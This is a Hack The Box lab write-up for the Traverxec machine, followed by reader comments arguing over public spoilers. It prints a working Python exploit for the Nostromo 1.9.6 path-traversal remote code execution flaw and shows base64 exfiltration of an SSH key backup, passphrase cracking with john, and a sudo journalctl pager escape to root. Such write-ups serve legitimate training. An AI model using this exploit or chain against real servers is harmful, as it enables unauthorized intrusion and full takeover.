Traverxec writeup hack the box

Traverxec Writeup / Walkthrough Hack the box

Traverxec writeup Summery

Traverxec
Traverxec write up Hack the box

TL;DR

This Writeup is about Traverxec, on hack the box. It was a Linux box. It starts off with a public exploit on Nostromo web server for the initial foothold. Then we enumerate and find a directory readable by www-data inside a david users home directory there we find a ssh key we bruteforce it’s passphrase ssh as david. we find a server-start.sh in davids home directory and we use gtfobin’s to get root.

Walkthrough

Scanning Network

I did an initial Nmap scan but there is a catch this time. I know a lot of us are preparing for OSCP. i was looking at recommended tools for OSCP and I found Nmap Automater. This tool is for automating recon on OSCP machines. It did a quick Nmap scan than it did another full port scan including UDP scan and more just doing an “ALL” option does all types of scans such as nikto and even gobuster. Although I didn’t find anything with a full port scan however now you know another good tool to automate recon.

So let’s look up our Nmap results.

┌─[root@parrot]─[/home/user/Desktop/htb/HackTheBox-Machines/Traverxec]
└──╼ #cat 10.10.10.165/nmap/Basic_10.10.10.165.nmap 
# Nmap 7.70 scan initiated Fri Nov 22 11:06:51 2019 as: nmap -Pn -sCV -p22,80 -oN nmap/Basic_10.10.10.165.nmap 10.10.10.165
Nmap scan report for 10.10.10.165
Host is up (0.15s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_  256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open  http    nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Nov 22 11:07:10 2019 -- 1 IP address (1 host up) scanned in 18.84 seconds

We have port 22 and 80 open on Traverxec.

Getting a Web Shell with Nostromo

Although we can see Nmap has pulled up Nostromo 1.9.6 from the headers but I checked if there is something on the website although there was nothing but a template for a user named David and his portfolio website.

Traverxec port 80
Traverxec port 80

after looking around I couldn’t find anything and eventually, I opened up burp and intercepted the website and found there was server’s banner and version on burp’s response.

Traverxec Server Header
Traverxec Server Header

As I clearly ignored Nostromo 1.9.6 in my Nmap results this was a new finding and I started finding if there are any public exploits for this version of Nostromo. I found this exploit a directory traversal RCE you can read more about the vulnerability here. https://www.sudokaikan.com/2019/10/cve-2019-16278-unauthenticated-remote.html . This is the exploit script I used.

#!/usr/bin/env python

import socket
import argparse

parser = argparse.ArgumentParser(description='RCE in Nostromo web server through 1.9.6 due to path traversal.')
parser.add_argument('host',help='domain/IP of the Nostromo web server')
parser.add_argument('port',help='port number',type=int)
parser.add_argument('cmd',help='command to execute, default is id',default='id',nargs='?')
args = parser.parse_args()

def recv(s):
	r=''
	try:
		while True:
			t=s.recv(1024)
			if len(t)==0:
				break
			r+=t
	except:
		pass
	return r
def exploit(host,port,cmd):
	s=socket.socket()
	s.settimeout(1)
	s.connect((host,int(port)))
	payload="""POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\nContent-Length: 1\r\n\r\necho\necho\n{} 2>&1""".format(cmd)
	s.send(payload)
	r=recv(s)
	r=r[r.index('\r\n\r\n')+4:]
	print r

exploit(args.host,args.port,args.cmd)

Then I began to exploit this vulnerability and got a shell back, as always I did some housekeeping with the shell to get a better shell.

web Shell
Traverxec Shell

To get a better shell I used than I pressed Ctrl + z to background the shell after that I used and stty raw -echo . after this I pressed fg on the shell to foreground the process and now I can use arrow buttons and tab-complete.

python -c 'import pty;pty.spawn("/bin/bash")';
ctrl+z
stty raw -echo 
fg 

User on Traverxec

So I got in Traverxec as www-data and I ran LinEnum and didn’t found anything. The first thing that made sense was to look in Traverxec’s directory to look for config files to find credentials. So I checked the directory /var/nostromo/conf. I found this in LinEnum’s output and this was found as readable www-data so we will look at nhttpd.conf file.

www-data@traverxec:/var/nostromo/conf$ cat nhttpd.conf 
# MAIN [MANDATORY]
servername		traverxec.htb
serverlisten		*
serveradmin		david@traverxec.htb
serverroot		/var/nostromo
servermimes		conf/mimes
docroot			/var/nostromo/htdocs
docindex		index.html
# LOGS [OPTIONAL]
logpid			logs/nhttpd.pid
# SETUID [RECOMMENDED]
user			www-data
# BASIC AUTHENTICATION [OPTIONAL]
htaccess		.htaccess
htpasswd		/var/nostromo/conf/.htpasswd
# ALIASES [OPTIONAL]
/icons			/var/nostromo/icons
# HOMEDIRS [OPTIONAL]
homedirs		/home
homedirs_public		public_www

when I read the config file it looked like there is a public_www directory inside a /home but we can’t read the David but it seems like there is a public_www inside David’s home directory. so I tried to cd into /home/david/public_www/ and I got in we have permissions public_www. there is a folder named /protected-file-area inside public_www and inside it is a tar archive called “backup-ssh-identity-files.tgz”. So I downloaded it to my machine.

www-data@traverxec:/home/david/public_www/protected-file-area$ base64 backup-ssh-identity-files.tgz
H4sIAANjs10AA+2YWc+jRhaG+5pf8d07HfYtV8O+Y8AYAzcROwabff/1425pNJpWMtFInWRm4uem
gKJ0UL311jlF2T4zMI2Wewr+OI4l+Ol3AHpBQtCXFibxf2n/wScYxXGMIGCURD5BMELCyKcP/Pf4
mG+ZxykaPj4+fZ2Df/Peb/X/j1J+o380T2U73I8s/bnO9vG7xPgiMIFhv6o/AePf6E9AxEt/6LtE
/w3+4vq/NP88jNEH84JFzSPi4D1BhC+3PGMz7JfHjM2N/jAadgJdSVjy/NeVew4UGQkXbu02dzPh
6hzE7jwt5h64paBUQcd5I85rZXhHBnNuFCo8CTsocnTcPbm7OkUttG1KrEJIcpKJHkYjRhzchYAl
5rjjTeZjeoUIYKeUKaqyYuAo9kqTHEEYZ/Tq9ZuWNNLALUFTqotmrGRzcRQw8V1LZoRmvUIn84Yc
rKakVOI4+iaJu4HRXcWH1sh4hfTIU5ZHKWjxIjo1BhV0YXTh3TCUWr5IerpwJh5mCVNtdTlybjJ2
r53ZXvRbVaPNjecjp1oJY3s6k15TJWQY5Em5s0HyGrHE9tFJuIG3BiQuZbTa2WSSsJaEWHX1NhN9
noI66mX+4+ua+ts0REs2bFkC/An6f+v/e/rzazl83xhfPf7r+z+KYsQ//Y/iL/9jMIS//f9H8PkL
rCAp5odzYT4sR/EYV/jQhOBrD2ANbfLZ3bvspw/sB8HknMByBR7gBe2z0uTtTx+McPkMI9RnjuV+
wEhSEESRZXBCpHmEQnkUo1/68jgPURwmAsCY7ZkM5pkE0+7jGhnpIocaiPT5TnXrmg70WJD4hpVW
p6pUEM3lrR04E9Mt1TutOScB03xnrTzcT6FVP/T63GRKUbTDrNeedMNqjMDhbs3qsKlGl1IMA62a
VDcvTl1tnOujN0A7brQnWnN1scNGNmi1bAmVOlO6ezxOIyFVViduVYswA9JYa9XmqZ1VFpudydpf
efEKOOq1S0Zm6mQm9iNVoXVx9ymltKl8cM9nfWaN53wR1vKgNa9akfqus/quXU7j1aVBjwRk2ZNv
GBmAgicWg+BrM3S2qEGcgqtun8iabPKYzGWl0FSQsIMwI+gBYnzhPC0YdigJEMBnQxp2u8M575gS
Ttb3C0hLo8NCKeROjz5AdL8+wc0cWPsequXeFAIZW3Q1dqfytc+krtN7vdtY5KFQ0q653kkzCwZ6
ktebbV5OatEvF5sO+CpUVvHBUNWmWrQ8zreb70KhCRDdMwgTcDBrTnggD7BV40hl0coCYel2tGCP
qz5DVNU+pPQW8iYe+4iAFEeacFaK92dgW48mIqoRqY2U2xTH9IShWS4Sq7AXaATPjd/JjepWxlD3
xWDduExncmgTLLeop/4OAzaiGGpf3mi9vo4YNZ4OEsmY8kE1kZAXzSmP7SduGCG4ESw3bxfzxoh9
M1eYw+hV2hDAHSGLbHTqbWsuRojzT9s3hkFh51lXiUIuqmGOuC4tcXkWZCG/vkbHahurDGpmC465
QH5kzORQg6fKD25u8eo5E+V96qWx2mVRBcuLGEzxGeeeoQOVxu0BH56NcrFZVtlrVhkgPorLcaip
FsQST097rqEH6iS1VxYeXwiG6LC43HOnXeZ3Jz5d8TpC9eRRuPBwPiFjC8z8ncj9fWFY/5RhAvZY
1bBlJ7kGzd54JbMspqfUPNde7KZigtS36aApT6T31qSQmVIApga1c9ORj0NuHIhMl5QnYOeQ6ydK
DosbDNdsi2QVw6lUdlFiyK9blGcUvBAPwjGoEaA5dhC6k64xDKIOGm4hEDv04mzlN38RJ+esB1kn
0ZlsipmJzcY4uyCOP+K8wS8YDF6BQVqhaQuUxntmugM56hklYxQso4sy7ElUU3p4iBfras5rLybx
5lC2Kva9vpWRcUxzBGDPcz8wmSRaFsVfigB1uUfrGJB8B41Dtq5KMm2yhzhxcAYJl5fz4xQiRDP5
1jEzhXMFQEo6ihUnhNc0R25hTn0Qpf4wByp8N/mdGQRmPmmLF5bBI6jKiy7mLbI76XmW2CfN+IBq
mVm0rRDvU9dVihl7v0I1RmcWK2ZCYZe0KSRBVnCt/JijvovyLdiQBDe6AG6cgjoBPnvEukh3ibGF
d+Y2jFh8u/ZMm/q5cCXEcCHTMZrciH6sMoRFFYj3mxCr8zoz8w3XS6A8O0y4xPKsbNzRZH3vVBds
Mp0nVIv0rOC3OtfgTH8VToU/eXl+JhaeR5+Ja+pwZ885cLEgqV9sOL2z980ytld9cr8/naK4ronU
pOjDYVkbMcz1NuG0M9zREGPuUJfHsEa6y9kAKjiysZfjPJ+a2baPreUGga1d1TG35A7mL4R9SuII
FBvJDLdSdqgqkSnIi8wLRtDTBHhZ0NzFK+hKjaPxgW7LyAY1d3hic2jVzrrgBBD3sknSz4fT3irm
6Zqg5SFeLGgaD67A12wlmPwvZ7E/O8v+9/LL9d+P3Rx/vxj/0fmPwL7Uf19+F7zrvz+A9/nvr33+
e/PmzZs3b968efPmzZs3b968efPmzf8vfweR13qfACgAAA==

┌─[root@parrot]─[/home/user/Desktop/htb/HackTheBox-Machines/Traverxec]
└──╼ #echo "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" | base64 -d > sshbackup.tgz

I used base64 for transferring the file to my computer by encoding it on traverexec and decoding it in my computer with base64 -d and unzipping the file. Found David’s home directory and inside we found there was .ssh folder inside of David’s directory. I tried to ssh in as David but the ssh key is encrypted. I Bruteforced the passphrase for David’s key, with SSH2John to create a hash of David’s key. Read this for more details on this method Heist Writeup.

⚡ root@parrot HackTheBox-Machines/Traverxec   master  /opt/JohnTheRipper/run/ssh2john.py id_rsa > ../../../DavidsKeyHash
⚡ root@parrot HackTheBox-Machines/Traverxec   master  cat DavidsKeyHash
id_rsa:$sshng$1$16$477EEFFBA56F9D283D349033D5D08C4F$1200$b1ec9e1ff7de1b5f5395468c76f1d92bfdaa7f2f29c3076bf6c83be71e213e9249f186ae856a2b08de0b3c957ec1f086b6e8813df672f993e494b90e9de220828aee2e45465b8938eb9d69c1e9199e3b13f0830cde39dd2cd491923c424d7dd62b35bd5453ee8d24199c733d261a3a27c3bc2d3ce5face868cfa45c63a3602bda73f08e87dd41e8cf05e3bb917c0315444952972c02da4701b5da248f4b1725fc22143c7eb4ce38bb81326b92130873f4a563c369222c12f2292fac513f7f57b1c75475b8ed8fc454582b1172aed0e3fcac5b5850b43eee4ee77dbedf1c880a27fe906197baf6bd005c43adbf8e3321c63538c1abc90a79095ced7021cbc92ffd1ac441d1dd13b65a98d8b5e4fb59ee60fcb26498729e013b6cff63b29fa179c75346a56a4e73fbcc8f06c8a4d5f8a3600349bb51640d4be260aaf490f580e3648c05940f23c493fd1ecb965974f464dea999865cfeb36408497697fa096da241de33ffd465b3a3fab925703a8e3cab77dc590cde5b5f613683375c08f779a8ec70ce76ba8ecda431d0b121135512b9ef486048052d2cfce9d7a479c94e332b92a82b3d609e2c07f4c443d3824b6a8b543620c26a856f4b914b38f2cfb3ef6780865f276847e09fe7db426e4c319ff1e810aec52356005aa7ba3e1100b8dd9fa8b6ee07ac464c719d2319e439905ccaeb201bae2c9ea01e08ebb9a0a9761e47b841c47d416a9db2686c903735ebf9e137f3780b51f2b5491e50aea398e6bba862b6a1ac8f21c527f852158b5b3b90a6651d21316975cd543709b3618de2301406f3812cf325d2986c60fdb727cadf3dd17245618150e010c1510791ea0bec870f245bf94e646b72dc9604f5acefb6b28b838ba7d7caf0015fe7b8138970259a01b4793f36a32f0d379bf6d74d3a455b4dd15cda45adcfdf1517dca837cdaef08024fca3a7a7b9731e7474eddbdd0fad51cc7926dfbaef4d8ad47b1687278e7c7474f7eab7d4c5a7def35bfa97a44cf2cf4206b129f8b28003626b2b93f6d01aea16e3df597bc5b5138b61ea46f5e1cd15e378b8cb2e4ffe7995b7e7e52e35fd4ac6c34b716089d599e2d1d1124edfb6f7fe169222bc9c6a4f0b6731523d436ec2a15c6f147c40916aa8bc6168ccedb9ae263aaac078614f3fc0d2818dd30a5a113341e2fcccc73d421cb711d5d916d83bfe930c77f3f99dba9ed5cfcee020454ffc1b3830e7a1321c369380db6a61a757aee609d62343c80ac402ef8abd56616256238522c57e8db245d3ae1819bd01724f35e6b1c340d7f14c066c0432534938f5e3c115e120421f4d11c61e802a0796e6aaa5a7f1631d9ce4ca58d67460f3e5c1cdb2c5f6970cc598805abb386d652a0287577c453a159bfb76c6ad4daf65c07d386a3ff9ab111b26ec2e02e5b92e184e44066f6c7b88c42ce77aaa918d2e2d3519b4905f6e2395a47cad5e2cc3b7817b557df3babc30f799c4cd2f5a50b9f48fd06aaf435762062c4f331f989228a6460814c1c1a777795104143630dc16b79f51ae2dd9e008b4a5f6f52bb4ef38c8f5690e1b426557f2e068a9b3ef5b4fe842391b0af7d1e17bfa43e71b6bf16718d67184747c8dc1fcd1568d4b8ebdb6d55e62788553f4c69d128360b407db1d278b5b417f4c0a38b11163409b18372abb34685a30264cdfcf57655b10a283ff0
⚡ root@parrot HackTheBox-Machines/Traverxec   master  john --wordlist=/usr/share/wordlists/rockyou.txt DavidsKeyHash 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter           (id_rsa)

Now we log in with David’s SSH Key with the passphrase hunter.

┌─[root@parrot]─[/home/user/Desktop/htb/HackTheBox-Machines/Traverxec]
└──╼ #ssh -i ./home/david/.ssh/id_rsa david@traverxec.htb
Enter passphrase for key './home/david/.ssh/id_rsa': 
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Tue Dec 10 03:48:27 2019 from 10.10.15.152
david@traverxec:~$ whoami
david
david@traverxec:~$ 

we got David user.

Getting Root

The first thing I noticed when I got the user when doing privilege escalation is there is a bin directory inside David’s home directory it has a file called server-stats.sh. looking more deeply to understand the script. I saw that /usr/bin/journalctl is being run as root. so i went to GTFO bin’s https://gtfobins.github.io/gtfobins/journalctl/ found this Simply ran that command as is given in the script and exploited the less prompt that open’s up as sudo using this !/bin/bash.

There is a catch though turn your terminal size to small or it wont work as the pager will only open up if your terminal size is smaller than the file.


david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Tue 2019-12-10 04:15:08 EST, end at Tue 2019-12-10 04:42:14 EST. -
Dec 10 04:34:17 traverxec crontab[3113]: (www-data) LIST (www-data)
!/bin/bash
root@traverxec:/home/david/bin# whoami
root
root@traverxec:/home/david/bin#

That was Traverxec writeup

Boom we are root so that was Traverxec Writeup. if this helped you let me know in comments. Need help comment down below. Here is my profile if you like you can respect my profile thanks 🙂 https://www.hackthebox.eu/home/users/profile/157669

Posts created 29

15 thoughts on “Traverxec Writeup / Walkthrough Hack the box

  1. Hey, you know these are public, right? Posting writeups that aren’t password protected by the root flag is frowned upon, as you’re giving an “easy out” to those trying to learn. I highly recommend that you protect these. Otherwise, your posts are great and I will probably bookmark them to read after I finish a machine.

    1. Hey anon i am aware these are public. I didn’t know it was frowned up on practice because ippsec puts up videos all the time so i thought may be i can do that too thanks for letting me know for now i am gone leave this here and protect the next ones thanks again 🙂 hope you understand.

    2. bro everything is legall if u knw go n telegram ppls are selling flag fro rupess and Sheeraz Ali uploading it for learning purpose not for giving flags and also he s not revealing flags like nav1n.. good job bro i really apperciate you hard work man

  2. Ippsec does the ones that are retired but not active machines. So maybe you can do write-ups on retired machines instead.

  3. hack the box Encrypt it for vip access if it will open for active then their business will effect …you have to purchase VIP access…some peple cant pay and @sheraazali is helping those people …please don’t password protect it you are helping those who is not able to pay and want to learn ….i respect you ….keep posting and don’t care anyone…..

  4. Even with VIP access the writeups won’t be available before the box is retired. HTB are meant to be solved without writeups, as this might give learning and the competitive nature motivates. Writeups like these, without password encryption will destroy this for others.

    If you are looking for non-competitive “open” challenges with writeups, there are a lot of free alternatives. “vulnhub” and “over the wire” are some great alternatives which will give enough knowledge to do the live boxes at HTB.

  5. here’s my 5 cents… I’m a total newbie to all this. I found HTB like few weeks ago and these boxes are my first attempt to get into pentesting mindset. I do get why people wan’t to keep the spoilers out but for someone like me, these are a real treasure.

    Yes, I do cheat a little bit, but I also spend lots of time trying to figure out these boxes before I go and google the spoilers. When I read these walkthroughs I go “aha” bigtime! I guess I could figure them out by myself if I banged my head to the wall for weeks or months, but at the stage I’m at, it would make a moot point. HTB as a competitive sport, yes, spoilers must suck big hairy balls, but for me these are great education tools and I do value and appreciate the authors who take their time to post them.

  6. Woah! I’m really loving the template/theme of this site. It’s simple, yet effective. A lot of times it’s hard to get that “perfect balance” between superb usability and visual appeal. I must say that you’ve done a very good job with this. Also, the blog loads super quick for me on Opera. Superb Blog!

Leave a Reply

Your email address will not be published. Required fields are marked *

Related Posts

Begin typing your search term above and press enter to search. Press ESC to cancel.

Back To Top